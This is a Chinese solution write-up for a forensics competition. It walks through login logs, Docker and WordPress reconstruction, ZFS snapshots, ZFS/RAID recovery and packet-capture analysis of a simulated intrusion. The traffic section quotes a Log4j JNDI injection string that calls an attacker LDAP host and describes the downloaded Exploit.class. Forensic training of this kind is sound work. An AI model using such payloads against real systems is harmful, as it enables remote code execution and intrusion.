mediause pts/0 192.168.182.1 Tue Jul 19 15:04 - 15:05 (00:00)
mediause tty2 tty2 Tue Jul 19 14:54 - 15:02 (00:08)
user tty2 tty2 Tue Jul 19 09:39 - 14:53 (05:14)
reboot system boot 5.15.0-41-generi Tue Jul 19 09:39 - 15:25 (05:46)
user tty2 tty2 Mon Jul 18 16:48 - down (00:42)
sammy pts/0 192.168.182.1 Mon Jul 18 15:06 - 16:48 (01:41)
user tty2 tty2 Mon Jul 18 14:16 - 16:48 (02:32)
mediause tty2 tty2 Mon Jul 18 13:52 - 14:13 (00:20)
user tty2 tty2 Mon Jul 18 12:09 - 13:52 (01:42)
reboot system boot 5.15.0-41-generi Mon Jul 18 12:09 - 17:31 (05:21)
sammy pts/1 192.168.182.1 Mon Jul 18 11:57 - 12:03 (00:05)
user tty2 tty2 Mon Jul 18 08:27 - down (03:36)
reboot system boot 5.15.0-41-generi Mon Jul 18 08:26 - 12:03 (03:36)
user tty2 tty2 Fri Jul 15 08:28 - down (08:17)
reboot system boot 5.15.0-40-generi Fri Jul 15 08:27 - 16:45 (08:18)
user tty2 tty2 Thu Jul 14 11:56 - down (00:24)
reboot system boot 5.15.0-40-generi Thu Jul 14 11:55 - 12:20 (00:25)
user tty2 tty2 Tue Jul 12 14:45 - down (02:26)
reboot system boot 5.15.0-40-generi Tue Jul 12 14:44 - 17:12 (02:27)
user tty2 tty2 Tue Jul 12 14:09 - down (00:00)
reboot system boot 5.15.0-40-generi Tue Jul 12 14:09 - 14:10 (00:00)
user tty2 tty2 Tue Jul 12 12:10 - down (00:03)
reboot system boot 5.15.0-40-generi Tue Jul 12 12:09 - 12:14 (00:04)
user tty2 tty2 Mon Jul 11 09:26 - down (01:24)
reboot system boot 5.15.0-40-generi Mon Jul 11 09:26 - 10:51 (01:25)
user tty2 tty2 Fri Jul 8 11:36 - down (04:39)
reboot system boot 5.15.0-40-generi Fri Jul 8 11:36 - 16:15 (04:39)
user tty2 tty2 Fri Jul 8 11:27 - down (00:08)
reboot system boot 5.15.0-40-generi Fri Jul 8 11:27 - 11:36 (00:09)
user tty2 tty2 Fri Jul 8 08:45 - down (02:40)
reboot system boot 5.15.0-40-generi Fri Jul 8 08:44 - 11:26 (02:41)
user tty2 tty2 Wed Jul 6 17:30 - down (00:05)
reboot system boot 5.15.0-40-generi Wed Jul 6 17:29 - 17:35 (00:06)
user tty2 tty2 Mon Jul 4 14:47 - down (02:52)
reboot system boot 5.15.0-40-generi Mon Jul 4 14:46 - 17:39 (02:52)
user tty2 tty2 Mon Jul 4 14:36 - down (00:09)
reboot system boot 5.15.0-40-generi Mon Jul 4 14:35 - 14:45 (00:09)
sammy pts/1 192.168.182.1 Mon Jul 4 11:50 - 12:04 (00:13)
sammy pts/1 192.168.182.1 Mon Jul 4 11:10 - 11:29 (00:19)
sammy pts/2 192.168.182.137 Mon Jul 4 11:09 - 11:09 (00:00)
user pts/1 192.168.182.1 Mon Jul 4 11:07 - 11:09 (00:02)
user pts/2 192.168.182.1 Mon Jul 4 10:43 - 10:44 (00:00)
user pts/1 192.168.182.137 Mon Jul 4 10:43 - 10:44 (00:00)
user tty2 tty2 Mon Jul 4 10:37 - down (03:55)
reboot system boot 5.15.0-40-generi Mon Jul 4 10:37 - 14:32 (03:55)
user tty2 tty2 Mon Jul 4 09:56 - down (00:40)
user tty2 tty2 Mon Jul 4 09:55 - 09:56 (00:01)
reboot system boot 5.15.0-40-generi Mon Jul 4 09:55 - 10:37 (00:41)
wtmp begins Mon Jul 4 09:55:20 2022
root@user-PC:/# last -f /home/wtmp
user tty2 tty2 Thu Jul 21 12:16 gone - no logout
reboot system boot 5.15.0-41-generi Thu Jul 21 12:16 still running
user pts/1 192.168.182.139 Thu Jul 21 10:25 - 10:58 (00:33)
user pts/1 192.168.182.139 Thu Jul 21 10:23 - 10:24 (00:00)
user tty2 tty2 Thu Jul 21 09:22 - down (02:47)
mediause tty2 tty2 Thu Jul 21 09:15 - 09:22 (00:06)
user tty2 tty2 Thu Jul 21 08:32 - 09:15 (00:42)
reboot system boot 5.15.0-41-generi Thu Jul 21 08:32 - 12:10 (03:37)
mediause tty2 tty2 Tue Jul 19 16:19 - down (00:02)
reboot system boot 5.15.0-41-generi Tue Jul 19 16:18 - 16:21 (00:03)
user tty2 tty2 Tue Jul 19 15:05 - down (00:20)
mediause pts/0 192.168.182.1 Tue Jul 19 15:04 - 15:05 (00:00)
mediause tty2 tty2 Tue Jul 19 14:54 - 15:02 (00:08)
user tty2 tty2 Tue Jul 19 09:39 - 14:53 (05:14)
reboot system boot 5.15.0-41-generi Tue Jul 19 09:39 - 15:25 (05:46)
user tty2 tty2 Mon Jul 18 16:48 - down (00:42)
sammy pts/0 192.168.182.1 Mon Jul 18 15:06 - 16:48 (01:41)
user tty2 tty2 Mon Jul 18 14:16 - 16:48 (02:32)
mediause tty2 tty2 Mon Jul 18 13:52 - 14:13 (00:20)
user tty2 tty2 Mon Jul 18 12:09 - 13:52 (01:42)
reboot system boot 5.15.0-41-generi Mon Jul 18 12:09 - 17:31 (05:21)
sammy pts/1 192.168.182.1 Mon Jul 18 11:57 - 12:03 (00:05)
user tty2 tty2 Mon Jul 18 08:27 - down (03:36)
reboot system boot 5.15.0-41-generi Mon Jul 18 08:26 - 12:03 (03:36)
user tty2 tty2 Fri Jul 15 08:28 - down (08:17)
reboot system boot 5.15.0-40-generi Fri Jul 15 08:27 - 16:45 (08:18)
user tty2 tty2 Thu Jul 14 11:56 - down (00:24)
reboot system boot 5.15.0-40-generi Thu Jul 14 11:55 - 12:20 (00:25)
user tty2 tty2 Tue Jul 12 14:45 - down (02:26)
reboot system boot 5.15.0-40-generi Tue Jul 12 14:44 - 17:12 (02:27)
user tty2 tty2 Tue Jul 12 14:09 - down (00:00)
reboot system boot 5.15.0-40-generi Tue Jul 12 14:09 - 14:10 (00:00)
user tty2 tty2 Tue Jul 12 12:10 - down (00:03)
reboot system boot 5.15.0-40-generi Tue Jul 12 12:09 - 12:14 (00:04)
user tty2 tty2 Mon Jul 11 09:26 - down (01:24)
reboot system boot 5.15.0-40-generi Mon Jul 11 09:26 - 10:51 (01:25)
user tty2 tty2 Fri Jul 8 11:36 - down (04:39)
reboot system boot 5.15.0-40-generi Fri Jul 8 11:36 - 16:15 (04:39)
user tty2 tty2 Fri Jul 8 11:27 - down (00:08)
reboot system boot 5.15.0-40-generi Fri Jul 8 11:27 - 11:36 (00:09)
user tty2 tty2 Fri Jul 8 08:45 - down (02:40)
reboot system boot 5.15.0-40-generi Fri Jul 8 08:44 - 11:26 (02:41)
user tty2 tty2 Wed Jul 6 17:30 - down (00:05)
reboot system boot 5.15.0-40-generi Wed Jul 6 17:29 - 17:35 (00:06)
user tty2 tty2 Mon Jul 4 14:47 - down (02:52)
reboot system boot 5.15.0-40-generi Mon Jul 4 14:46 - 17:39 (02:52)
user tty2 tty2 Mon Jul 4 14:36 - down (00:09)
reboot system boot 5.15.0-40-generi Mon Jul 4 14:35 - 14:45 (00:09)
sammy pts/1 192.168.182.1 Mon Jul 4 11:50 - 12:04 (00:13)
sammy pts/1 192.168.182.1 Mon Jul 4 11:10 - 11:29 (00:19)
sammy pts/2 192.168.182.137 Mon Jul 4 11:09 - 11:09 (00:00)
user pts/1 192.168.182.1 Mon Jul 4 11:07 - 11:09 (00:02)
user pts/2 192.168.182.1 Mon Jul 4 10:43 - 10:44 (00:00)
user pts/1 192.168.182.137 Mon Jul 4 10:43 - 10:44 (00:00)
user tty2 tty2 Mon Jul 4 10:37 - down (03:55)
reboot system boot 5.15.0-40-generi Mon Jul 4 10:37 - 14:32 (03:55)
user tty2 tty2 Mon Jul 4 09:56 - down (00:40)
user tty2 tty2 Mon Jul 4 09:55 - 09:56 (00:01)
reboot system boot 5.15.0-40-generi Mon Jul 4 09:55 - 10:37 (00:41)
wtmp begins Mon Jul 4 09:55:20 2022
可以看到日志前面的部分都是一样的,所所以可以相信取证软件的结果。
A. iamhacker
B. hacking
C. hack
D. hacker
E. 以上皆非
查看登录失败日志使用lastb日志,无果,对备份文件的btmp进行lastb,发现有hack用户曾使用ssh:notty登陆失败的记录。
A. apache2
B. ubuntu
C. centos
D. nginx
E. hello-world
F. 以上皆非
好,碰到docker题,开始docker一把梭,记住(比赛时能找到即可)以下命令可解决大部分docker启动的问题。
## 先查看是否有docker-compose,有docker-compose起docker-compose即可
docker-compose
docker-compose up -d # 在后台启动服务
docker-compose ps # 查看启动的服
docker-compose stop #停止服务
docker-compose stop && docker-compose rm && docker-compose down
## 无docker-compose,手工单独起docker 优先使用历史记录中的命令
systemctl start docker 运行docker
docker version 查看docker版本
docker info 显示Docker 系统信息,包括镜像和容器数
uname –r 检查内核版本
/etc/docker/daemon.json Docker配置
docker images或docker image ls(manage images) 列出所有镜像
docker image ls --no-trunc 不截断IMAGE ID
docker ps 列出所有运行中的容
docker ps -a 列出所有容器
docker start|stop|restart 启动、停止和重启一个或多个指定容器
docker run 镜像名称/id
docker run -d 镜像名称/id 后台运行
docker run -it 镜像名称/id /bin/bash 加载shell
docker run -P 随机端口映射
docker run -p 指定端口映射
--name= "my-worpress" 为容器指定一个名称
--net="bridge" 指定容器的网络连接类型
--link=[] 添加链接到另一个容器
--volume ,-v 绑定一个卷
-v ~/nginx/conf.d:/etc/nginx/conf.d -v ~/nginx/nginx.conf:/etc/nginx/nginx.conf 宿主机绝对路径:容器内绝对路径
docker kill 杀死一个或多个指定容器进程
docker top 查看一个正在运行容器进程,支持 ps 命令参数
docker inspect检查镜像或者容器的参数
docker pause 暂停某一容器的所有进程
docker exec -it containerID /bin/bash 进入docker容器
docker logs 查看容器日志
docker cp 容器ID:文件路径 宿主机目录 从容器中拷贝指定文件或者目录到宿主机中
docker diff 检查容器里文件结构的更改
docker history nginx
docker ps -a --no-trunc
/var/lib/docker/container/id/id-json.log 日志
--link 在hosts文件增加映射 容器名称 id 对应ip
docker run -d -p 8080:80 nginx
-p: 指定端口映射,格式为:主机(宿主)端口:容器端口
–volume , -v: 绑定一个数据卷
-d: 后台运行容器,并返回容器ID;
–name=“redis”: 为容器指定一个名称;
-e username=“ritchie”: 设置环境变量;
-m :设置容器使用内存最大值;
数据卷容器
多容器共享数据卷
docker run -id --name db_data -v /db_data centos:7 创建数据卷容器
docker run -id --name db1 --volumes-from db_data centos:7 挂载
docker run -id --name db2 --volumes-from db_data centos:7 挂载
导入导出
镜像 docker save docker load
容器 docker export docker import (镜像)docker run 来运行
网络
--net=bridge 默认 桥接NAT
--net=host 和主机共享
--net=none
--net=container=NAME or id 指定共享容器网络
--net=my_net 自定义网络
## 实在部署可视化管理工具portainer
部署portainer(离线)
docker save portain-ce:latest -o portainer.tar
docker load -i portainer.tar
docker run -d -p 9000:9000 --name=portainer --restart=always -v /var/run/docker.sock:/var/run/docker.sock -v portainer_data:/data portainer-ce:latest
部署portainer(在线)
docker pull portainer/portainer-ce
docker volume create portainer_data
docker run -d -p 8000:8000 -p 9000:9000 --name=portainer --restart=always -v /var/run/docker.sock:/var/run/docker.sock -v portainer_data:/data portainer/portainer-ce
### 新版宝塔也支持docker管理了,但是会破坏一部分环境,遇到疑难问题时可尝试
centos:
yum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && sh install.sh ed8484bec
ubuntu:
wget -O install.sh http://download.bt.cn/install/install-ubuntu_6.0.sh && sudo bash install.sh ed8484bec
root@user-PC:/# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
nginx latest 55f4b40fe486 5 months ago 142MB
ubuntu latest 27941809078c 5 months ago 77.8MB
hello-world latest feb5d9fea6a5 14 months ago 13.3kB
centos latest 5d0da3dc9764 14 months ago 231MB
A. apache2
B. ubuntu
C. centos
D. nginx
E. hello-world
F. 以上皆非
既然问哪一个在运行,那么一定是正在运行,docker服务应该已经启动了,直接查看运行的docker容器
root@user-PC:/# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
905a83e9c2d4 nginx "/docker-entrypoint.…" 4 months ago Up 15 hours 0.0.0.0:8080->80/tcp, :::8080->80/tcp nginx-server
e7da3ae32404 ubuntu "bash" 4 months ago Exited (0) 4 months ago dreamy_spence
e0305aa93e73 centos "/bin/bash" 4 months ago Exited (0) 4 months ago sad_lamport
5de6ee25088e hello-world "/hello" 4 months ago Exited (0) 4 months ago happy_aryabhata
ad3b01634d55 hello-world "/hello" 4 months ago Exited (0) 4 months ago quirky_austin
可以看到只有nginx的STATUS是up的状态的
A. cn.wordpress.org
F. 以上皆非
wordpress 之前我们在检查的时候看到了,再查找确认一下,
可以直接找到,接下来就是将wordpress重新搭建起来,前面在检查基本信息的历史记录的时候看到网站、应用都是sammy搭建的,其中还有很多搭建的历史记录
用到了mysql和apache2,我们查看该二项服务的状态,都是启动状态的
尝试直接访问IP
发现是默认页面,我们再看一下apache相关的配置文件,具体是如何绑定入口的
root@user-PC:/etc/apache2# ls
apache2.conf conf-available conf-enabled envvars magic mods-available mods-enabled ports.conf sites-available sites-enabled
root@user-PC:/etc/apache2# cat apache2.conf
# This is the main Apache server configuration file. It contains the
# configuration directives that give the server its instructions.
# See http://httpd.apache.org/docs/2.4/ for detailed information about
# the directives and /usr/share/doc/apache2/README.Debian about Debian specific
# hints.
#
#
# Summary of how the Apache 2 configuration works in Debian:
# The Apache 2 web server configuration in Debian is quite different to
# upstream's suggested way to configure the web server. This is because Debian's
# default Apache2 installation attempts to make adding and removing modules,
# virtual hosts, and extra configuration directives as flexible as possible, in
# order to make automating the changes and administering the server as easy as
# possible.
# It is split into several files forming the configuration hierarchy outlined
# below, all located in the /etc/apache2/ directory:
#
# /etc/apache2/
# |-- apache2.conf
# | `-- ports.conf
# |-- mods-enabled
# | |-- *.load
# | `-- *.conf
# |-- conf-enabled
# | `-- *.conf
# `-- sites-enabled
# `-- *.conf
#
...
# Include module configuration:
IncludeOptional mods-enabled/*.load
IncludeOptional mods-enabled/*.conf
# Include list of ports to listen on
Include ports.conf
# Sets the default security model of the Apache2 HTTPD server. It does
# not allow access to the root filesystem outside of /usr/share and /var/www.
# The former is used by web applications packaged in Debian,
# the latter may be used for local directories served by the web server. If
# your system is serving content from a sub-directory in /srv you must allow
# access here, or in any related virtual host.
<Directory />
Options FollowSymLinks
AllowOverride None
Require all denied
</Directory>
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
#
# Options Indexes FollowSymLinks
# AllowOverride None
# Require all granted
#
...
# Include generic snippets of statements
IncludeOptional conf-enabled/*.conf
# Include the virtual host configurations:
IncludeOptional sites-enabled/*.conf
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
可以看到这里还Include其他两个文件夹下的conf文件
虽然历史记录中编辑了 /etc/apache2/sites-available/wodpress.conf 但是主配置文件并没有include这个sites-available文件夹下的conf文件那么我们现在所看到的默认页面实际上是在/etc/apache2/sites-enabled目录下的000-default.conf所控制的
查看该根目录,
那么访问wordpress
点击连接,跳转至原服务器设定的连接,因为该服务器的IP设置的是dhcp,直接从我虚拟网络编辑器里虚拟网段分了一个IP,如果仿真时将起IP改到起原来的IP,那么应该可以直接跳转到原页面,稍后演示修改虚拟网络编辑器的方法。
可以看到当光标移到比特币这个栏目时,其要跳转的目标连接已经出来了
只需将IP换成我们现在的IP即可
接下来演示一下修改网段,
为Ubuntu 20.04 设置静态IP简明教程(和把大象装冰箱一样简单) - 腾讯云开发者社区-腾讯云 (tencent.com)
再去访问wordpress,至此,wordpress算是完全的运行起来的
但是我们看不到评论的邮箱,那么要进管理页面看一下
七种方式解决WordPress忘记后台密码——墨涩网 - 腾讯云开发者社区-腾讯云 (tencent.com)
这些方法都是可以的,只要跟教程来即可,这里不做具体演示,个人偏向是比较熟悉的生成密钥串替换数据库中原有的密钥串
这里可以看到配置文件中的数据库,直接连接数据库进数据库看也可以
数据库不允许外联,使用ssh隧道
可以在wp_comments表直接看到这两个用户对应的邮箱
也可以进后台,进一步检查,这里就考到这里了,如果再考下去一定是需要进后台分析的
同样在后台也可以找到这两个邮箱
A. https://weibo.com
B. http://www.baidu.com
C. https://www.douyin.com
D. https://youku.com
E. https://www.binance.com
F. 以上皆非
检验大家对linux基本工具的了解
先查找一下calendar
root@user-PC:/# find / -name calendar
/home/user/.local/share/evolution/calendar
/home/user/.cache/evolution/calendar
/home/peter/.local/share/evolution/calendar
/home/peter/.cache/evolution/calendar
/home/mediauser/.local/share/evolution/calendar
/home/mediauser/.cache/evolution/calendar
find: ‘/run/user/1004/doc’: Permission denied
find: ‘/run/user/1004/gvfs’: Permission denied
/var/lib/php/modules/8.1/cli/enabled_by_maint/calendar
/var/lib/php/modules/8.1/apache2/enabled_by_maint/calendar
/var/lib/php/modules/8.1/registry/calendar
/var/www/html/wordpress/wp-includes/blocks/calendar
因为peter是我们刚使用的账户,排除,检查一下
/home/user/.local/share/evolution/calendar
/home/user/.cache/evolution/calendar
/home/mediauser/.local/share/evolution/calendar
/home/mediauser/.cache/evolution/calendar
检查一下这两个用户的共四个文件夹,在第一个找到如下日历备忘
A. RAID 0
B. RAIDz2
C. RAIDz3
D. RAID 10
E. RAID 5
F. 以上皆非
未安装常用的linux 软raid工具mdadm,但是在现勘报告中提到了zpool,这个什么pool一看就像是储存池工具
其结构很像raid10
RAID磁盘阵列是什么(一看就懂) - 知乎 (zhihu.com)
How to create RAID 10 - Striped Mirror Vdev ZPool On Ubuntu Linux - nixCraft (cyberciti.biz)
A. Jun
B. Jul
C. Aug
D. Sep
E. Oct
F. 以上皆非
基本镜像储存池,可以看到只有一个储存池,名字为media0
检查media0下的文件发现迷住了_幼_迷住.mp4,有“幼”字,打开检查
发现是“儿童色情影片”
因为没办法放取证软件里面跑,手工搓一下,
无果,但是因为题目既然是可以做的,现阶段也尚不会涉及云端数据提取,故证据一定是存在下发的这么多检材里的,在仔细检查后发现历史记录还没有全部用到,root曾curl了一个地址,这也是搜索访问的一种形式,并将结果保存在了link.html中。(虽然这个无果只有两个字,但是无果的背后是把所有浏览器的历史记录数据库提出来手工搓了一遍
检查这个文件
HTTP/2 301 server: nginx date: Fri, 23 Sep 2022 06:55:35 GMT content-type: text/html; charset=utf-8 content-length: 552 cache-control: private, max-age=90 location: https://www.baidu.com/s?ie=utf-8&f=8&rsv_bp=1&rsv_idx=1&tn=baidu&wd=%E5%84%BF%E7%AB%A5%E8%89%B2%E6%83%85&fenlei=256&oq=%25E7%25B8%25AE%25E7%25B6%25B2%25E5%259D%2580%25E6%259C%258D%25E5%258B%2599&rsv_pq=f151bb9f00012b92&rsv_t=f247aDbGqfhh7FczE5EgAJ9tAfrHpAs4SOmrFDRTJgCiqNYORT/Pp%2Bgp32Q&rqlang=cn&rsv_enter=0&rsv_dl=tb&rsv_sug3=2&rsv_sug1=1&rsv_sug7=100&rsv_n=2&rsv_btype=t&inputT=2259&rsv_sug4=2538&rsv_sug=1 set-cookie: _bit=m8n6Tz-f6b37048394b2f6875-00Y; Domain=bit.ly; Expires=Wed, 22 Mar 2023 06:55:35 GMT via: 1.1 google alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 moved here
故其访问的连接为https://bit.ly/3xyi8b5
在检查储存池时看到历史中曾创建过快照media0/mediastorage@version1
ZFS - 动态文件系统 - TianShu - 博客园 (cnblogs.com)
回滚会原来的版本,查看其中储存的信息,共存储了24个档案
root@user-PC:/# zfs rollback media0/mediastorage@version1
即可
流量还是相对简单的,全是基础知识,如果ftp数据包导不出可以尝试更新wireshark,在比赛前建议是更新全部工具而不只是取证工具。
拿到流量题第一步查看协议信息,查看协议信息能够快速建立一个对流量整体的认识,哪些协议要看,心中有数。前面流量专题已经详细的讲过了,这里就简单讲一下。
可以看到这里就是几个HTTP,FTP,还有纯数据
先分析HTTP,数据不多
A. http://155.137.195.111:8080
B. http://www.w3.org/2003/05/soap-envelope
C. http://61.238.217.108:8000
D. 以上皆非
第一个包发送了GET指令
请求了http://155.137.195.111:8080/
这个操作时访问页面正常的一个操作,请求成功,那么服务器会返回一个我们请求页面,看起来像是个登陆页面
想知道这个页面具体是什么样的可以将页面的代码贴出来,贴成一个html
A. root
B. ${jndi:ldap://61.238.217.108:1389/a}
C. application/x-www-form-urlencoded
D. password
然后又向服务器POST了一个数据包,其中uname字段为${jndi:ldap://61.238.217.108:1389/a},像我们做渗透的一看就知道这是拿log4j这类的洞在打
A. 使用端口46858连接IP地址61.238.217.108的LDAP服务器的指定端口
B. 于IP地址61.238.217.108下载了Exploit.class
C. 使用端口49264连接IP地址61.238.217.108发送同步要求
D. 以上皆是
将上题参数POST到服务器上后,服务器向我们的攻击机下载了一个Exploit.class文件
追踪一下流,找到发送指令的部分,
可以看到都是61.238.217.108的9001端口和10.0.66.184的49264之间的交互
将Exploit.class导出逆向也可得到
A. Accounting
B. Picture
C. Staff
D. Sambashare
E. Retail
从流中查看进行的操作
A. 檢视了readme.txt内容
B. 删除了三个档案
C. 删除了一个目录 (Directory)
D. 替档案改名
E. 建立了两个txt档案
下载了一个文件cGhvdG9zT0Zyb2NreQ==
将cGhvdG9zT0Zyb2NreQ==重命名为了readme.pdf
创建了一个文件suprising_photo_at_readme.pdf.txt内容为see readme.pdf for suprise
查看了suprising_photo_at_readme.pdf.txt
删除了Finanical_report_2020.xlsx、Finanical_report_2021.xlsx这两个文件,
创建了一个readme.txt文件,内容为you should check your spelling haha, deleted. …
A. cGhvdG9zT0Zyb2NreQ==
B. Finanical.xls
C. readme.txt
D. anonymous
见上题
A. 2022-10-21 08:10:30 (UTC+0)
B. 2022-10-21 16:19:39 (UTC+0)
C. 2022-10-22 08:10:30 (UTC+0)
D. 2022-10-22 14:22:06 (UTC+0)
E. 2022-10-22 16:19:39(UTC+0)
A. a6eef1… …27364c
B. 54785c… …fe86f0
C. 961f2b… …647d55
D. a00e6c… …d0eaab
E. 以上皆非
导出该文档
A. 曾经采用他的计算机入侵AGC集团网络
B. 传播儿童色情物品
C. 于AGC集团取得大量客户资料
D. 通过VPN取得Rooney家里的IP地址
E. 企图更改AGC集团的网页
需综合KingHo的检材综合分析。
A. 2022-09-26 14:35:17
B. 2022-09-26 21:35:17
C. 2022-09-27 05:35:17
D. 2022-10-05 03:52:15
E. 2022-10-05 11:52:15
A. 2022-09-28 19:01:40
B. 2022-09-28 07:18:33
C. 2022-08-30 19:01:40
D. 2022-08-30 07:18:33
A. \Users\Carson\NTUSER.DAT
B. \Users\admin\NTUSER.DAT
C. \Windows\System32\config\SYSTEM
D. \Windows\System32\config\SOFTWARE
E. \Windows\System32\config\SECURITY
尝试题,用户的自己的配置储存在NTUSER.DAT中,其他是全局的配置,不符合
A. \192.168.182.134\
B. \192.168.182.134\photo
C. \192.168.182.134\share
D. \192.168.182.134\AGC
E. \192.168.182.134\AGC photo
挂了一个共享文件夹
这个IP考虑是AGC_SERVER的,因为Media Server的IP是132
在邮件中发现王景浩曾向AGC公司订购过音响,但是音响缺货且已付的钱无法退,导致王景浩比较生气
在附件中发现王景浩的账单,其中包含住址
使用信用卡付款,卡号最后四位为6717
上题提到王景浩对公司表示不满,后给公司发送了一个共享文档的连接,
在2022-09-29 18:53:27访问了这个网站
默认下载地址是C:\Users\Carson\Downloads
在7:10:49下载了该文件
分析该文件
使用应该是王景浩恼羞成怒发送恶意程序KEFmuon.docx
A. 访问一个网站
B. 记录键盘操作
C. 把档案加密
D. 改变桌面壁纸
E. 关闭计算机
该漏洞利用方式需向网络位置下载payload所以用途应该为访问网站
A. 2022-09-28
B. 2022-09-29
C. 2022-09-30
D. 2022-10-01
E. 以上皆非
当一个用户创建后,在对应的User/username下面就会同时创建一些默认文件夹,所以默认文件夹创建时间就是用户创建时间
想要准确的分析可以去看日志
快啊!很快啊
整个时间线是这样的
2022年9月29日王景浩不爽AGC公司的行为,给公司客服发送了恶意邮件,
客服18:49收到了恶意邮件,18:53点击了连接,19:10分下载了恶意word,20:42分电脑被上线,远程登陆
没看到下载记录,在最近运行中发现一个比较异常的文件
svchost.exe,这是一个系统进程,出下载乃此处非常反常,是常见恶意dll挂载的程序
导出分析
是关联了github上的一个端口扫描程序
https://github.com/elddy/NimScan/releases/download/1.0.8/NimScan.exe
所以原来的名字为NimScan.exe
似乎该文件已经删除了
但是该文件通过teamviewer传回了王景浩的桌面
故在王景浩桌面得
90-61-ae-c0-90-45
可能还是这个ip.txt
算一下哈希
A. VNC
B. Teamviewer
C. Anydesk
D. Splashtop Business Access
E. RemotePC
单选题,取证工具解析出来有teamviewer连接
解这个服务器有多种方法,且都比较常用和具有典型性,按是重构的完全程度分为两种方法,
第一种半重构,借助各类工具,将部分重构起来,重构会花费一定的的时间在重构上,能解题即可,存在一定运气成分,但是作为一种标准的作业流程,比赛时能高效解出部分题,然后另外一部分放弃,也是一种战术。
第二种完全重构,将系统基本复原至镜像时的状态,完全重构会花费相对较多的时间,但是一旦重构起,那么题目都能秒。
这两种方法的选择具体看大家的水平和偏好,是对静态的配置文件、系统结构比较熟还是应用程序比较熟。
接下来以AGC_Server为例,按这两种方法进行演示,这套题相对有点点复杂,所以可以比较好的演示这两种方法之间的区别。
既然现勘发现是软raid,那么先用常见软raid的方法来解。
raid美亚年年出,年年考,基本上都是一个套路,先老套路打一波。
一般软raid直接仿真就全部无感起好了。先进行尝试。
直接取证无法解析
直接仿真
进grub rescue 恢复模式,估计因为镜像等等问题,可能是raid配置损坏了,或者是这几个根本就是数据盘,系统盘根本没有镜像来,考虑前面说的未能检取逻辑储存,所以打了物理的储存来。既然是不重构方法,那就是比赛时没有想到去搜索如何将系统恢复,或者是没有办法按操作将系统恢复,而硬解。
将这几个盘挂载到正常的linux系统下,让系统自动识别。
直接进系统也是会进恢复模式的
进系统恢复内核修复一下即可,操作可以参考一下这篇帖子
第一届创享杯 服务器部分题解_Grignard_的博客-CSDN博客
[root@localhost ~]# fdisk -l
WARNING: fdisk GPT support is currently new, and therefore in an experimental phase. Use at your own discretion.
Disk /dev/sdb: 240.1 GB, 240057409536 bytes, 468862128 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk label type: gpt
Disk identifier: 434E74C3-5FB0-45E5-8ED1-CDE219F93986
# Start End Size Type Name
1 34 2047 1007K BIOS boot
2 2048 1050623 512M EFI System
3 1050624 468862094 223.1G Linux RAID
WARNING: fdisk GPT support is currently new, and therefore in an experimental phase. Use at your own discretion.
Disk /dev/sdc: 240.1 GB, 240057409536 bytes, 468862128 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk label type: gpt
Disk identifier: 434E74C3-5FB0-45E5-8ED1-CDE219F93986
# Start End Size Type Name
1 34 2047 1007K BIOS boot
2 2048 1050623 512M EFI System
3 1050624 468862094 223.1G Linux RAID
WARNING: fdisk GPT support is currently new, and therefore in an experimental phase. Use at your own discretion.
Disk /dev/sdd: 240.1 GB, 240057409536 bytes, 468862128 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk label type: gpt
Disk identifier: 434E74C3-5FB0-45E5-8ED1-CDE219F93986
# Start End Size Type Name
1 34 2047 1007K BIOS boot
2 2048 1050623 512M EFI System
3 1050624 468862094 223.1G Linux RAID
Disk /dev/sda: 42.9 GB, 42949672960 bytes, 83886080 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk label type: dos
Disk identifier: 0x00006684
Device Boot Start End Blocks Id System
/dev/sda1 * 2048 2099199 1048576 83 Linux
/dev/sda2 2099200 83886079 40893440 8e Linux LVM
Disk /dev/mapper/centos-root: 37.7 GB, 37706792960 bytes, 73646080 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/mapper/centos-swap: 4160 MB, 4160749568 bytes, 8126464 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/md127: 478.8 GB, 478768267264 bytes, 935094272 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 524288 bytes / 1048576 bytes
Disk /dev/mapper/pve-swap: 8589 MB, 8589934592 bytes, 16777216 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 524288 bytes / 1048576 bytes
Disk /dev/mapper/pve-root: 68.5 GB, 68451041280 bytes, 133693440 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 524288 bytes / 1048576 bytes
Disk /dev/mapper/pve-data: 401.7 GB, 401726242816 bytes, 784621568 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 524288 bytes / 1048576 bytes
可以看到已经自动识别了,在这里的raid就是/dev/md127,有下面几个构成的数据卷
尝试将整个md127卷组挂载,不能识别LVM2的文件系统
将三个逻辑卷分别挂载,
swap挂不上问题不大,那么问题已经解决了,不仿真就能做了,进去仔细的检查文件系统、历史记录、配置文件。
接下来进去仔细对文件系统进行检查,结合题目,查找关键数据。
对各类“卷、组”要理解他在将什么,要我们提交什么数据。纵观历年美亚,基本上每年都考。
